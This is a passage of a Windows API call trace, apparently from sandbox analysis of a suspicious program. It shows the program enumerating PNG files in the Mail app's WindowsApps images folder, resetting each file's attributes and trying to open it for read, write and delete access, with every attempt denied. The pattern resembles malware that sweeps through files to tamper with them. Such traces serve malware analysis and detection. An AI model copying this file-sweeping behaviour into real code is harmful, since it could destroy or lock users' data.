	[0090.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50276c0) returned 1
	[0090.263] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199d29a1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199d29a1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199d29a1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="10146_24x24x32.png", cAlternateFileName="")) returned 1
	[0090.263] wcscmp (_String1="10146_24x24x32.png", _String2=".") returned 1
	[0090.263] wcscmp (_String1="10146_24x24x32.png", _String2="..") returned 1
	[0090.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5026958
	[0090.263] wcscpy (in: _Dest=0x5026958, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.263] wcscat (in: _Dest=0x5026958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.263] wcscat (in: _Dest=0x5026958, _Source="10146_24x24x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png"
	[0090.263] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png")) returned 0x20
	[0090.266] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.266] GetLastError () returned 0x5
	[0090.266] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.266] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026958) returned 1
	[0090.266] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199d29a1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199f8bfe, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199f8bfe, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="10146_32x32x32.png", cAlternateFileName="")) returned 1
	[0090.266] wcscmp (_String1="10146_32x32x32.png", _String2=".") returned 1
	[0090.266] wcscmp (_String1="10146_32x32x32.png", _String2="..") returned 1
	[0090.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50278d0
	[0090.267] wcscpy (in: _Dest=0x50278d0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.267] wcscat (in: _Dest=0x50278d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.267] wcscat (in: _Dest=0x50278d0, _Source="10146_32x32x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png"
	[0090.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png")) returned 0x20
	[0090.267] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.267] GetLastError () returned 0x5
	[0090.267] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.267] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50278d0) returned 1
	[0090.267] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199f8bfe, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199f8bfe, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199f8bfe, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="10146_40x40x32.png", cAlternateFileName="")) returned 1
	[0090.267] wcscmp (_String1="10146_40x40x32.png", _String2=".") returned 1
	[0090.267] wcscmp (_String1="10146_40x40x32.png", _String2="..") returned 1
	[0090.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028110
	[0090.267] wcscpy (in: _Dest=0x5028110, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.267] wcscat (in: _Dest=0x5028110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.267] wcscat (in: _Dest=0x5028110, _Source="10146_40x40x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png"
	[0090.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png")) returned 0x20
	[0090.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png", dwFileAttributes=0x20) returned 0
	[0090.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.268] GetLastError () returned 0x5
	[0090.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_40x40x32.png", dwFileAttributes=0x20) returned 0
	[0090.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028110) returned 1
	[0090.268] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199f8bfe, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199f8bfe, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199f8bfe, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="10191_20x20x32.png", cAlternateFileName="")) returned 1
	[0090.268] wcscmp (_String1="10191_20x20x32.png", _String2=".") returned 1
	[0090.268] wcscmp (_String1="10191_20x20x32.png", _String2="..") returned 1
	[0090.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50278d0
	[0090.268] wcscpy (in: _Dest=0x50278d0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.268] wcscat (in: _Dest=0x50278d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.268] wcscat (in: _Dest=0x50278d0, _Source="10191_20x20x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png"
	[0090.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png")) returned 0x20
	[0090.270] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.271] GetLastError () returned 0x5
	[0090.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50278d0) returned 1
	[0090.271] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199f8bfe, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199f8bfe, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199f8bfe, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="10191_24x24x32.png", cAlternateFileName="")) returned 1
	[0090.271] wcscmp (_String1="10191_24x24x32.png", _String2=".") returned 1
	[0090.271] wcscmp (_String1="10191_24x24x32.png", _String2="..") returned 1
	[0090.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50274b0
	[0090.271] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.271] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.271] wcscat (in: _Dest=0x50274b0, _Source="10191_24x24x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png"
	[0090.271] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png")) returned 0x20
	[0090.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.271] GetLastError () returned 0x5
	[0090.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0090.272] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a1ee58, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a1ee58, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a1ee58, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x0, dwReserved1=0x0, cFileName="10191_32x32x32.png", cAlternateFileName="")) returned 1
	[0090.272] wcscmp (_String1="10191_32x32x32.png", _String2=".") returned 1
	[0090.272] wcscmp (_String1="10191_32x32x32.png", _String2="..") returned 1
	[0090.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5027cf0
	[0090.272] wcscpy (in: _Dest=0x5027cf0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.272] wcscat (in: _Dest=0x5027cf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.272] wcscat (in: _Dest=0x5027cf0, _Source="10191_32x32x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png"
	[0090.272] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png")) returned 0x20
	[0090.272] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.272] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.272] GetLastError () returned 0x5
	[0090.272] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027cf0) returned 1
	[0090.272] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a1ee58, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a1ee58, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a1ee58, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="10191_40x40x32.png", cAlternateFileName="")) returned 1
	[0090.272] wcscmp (_String1="10191_40x40x32.png", _String2=".") returned 1
	[0090.272] wcscmp (_String1="10191_40x40x32.png", _String2="..") returned 1
	[0090.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5026d78
	[0090.272] wcscpy (in: _Dest=0x5026d78, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.272] wcscat (in: _Dest=0x5026d78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.272] wcscat (in: _Dest=0x5026d78, _Source="10191_40x40x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png"
	[0090.273] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png")) returned 0x20
	[0090.273] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png", dwFileAttributes=0x20) returned 0
	[0090.273] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.273] GetLastError () returned 0x5
	[0090.273] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_40x40x32.png", dwFileAttributes=0x20) returned 0
	[0090.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026d78) returned 1
	[0090.273] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a1ee58, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a450b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a450b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="10191_48x48x32.png", cAlternateFileName="")) returned 1
	[0090.273] wcscmp (_String1="10191_48x48x32.png", _String2=".") returned 1
	[0090.273] wcscmp (_String1="10191_48x48x32.png", _String2="..") returned 1
	[0090.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50278d0
	[0090.273] wcscpy (in: _Dest=0x50278d0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.273] wcscat (in: _Dest=0x50278d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.273] wcscat (in: _Dest=0x50278d0, _Source="10191_48x48x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png"
	[0090.273] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png")) returned 0x20
	[0090.276] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png", dwFileAttributes=0x20) returned 0
	[0090.276] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.276] GetLastError () returned 0x5
	[0090.276] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10191_48x48x32.png", dwFileAttributes=0x20) returned 0
	[0090.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50278d0) returned 1
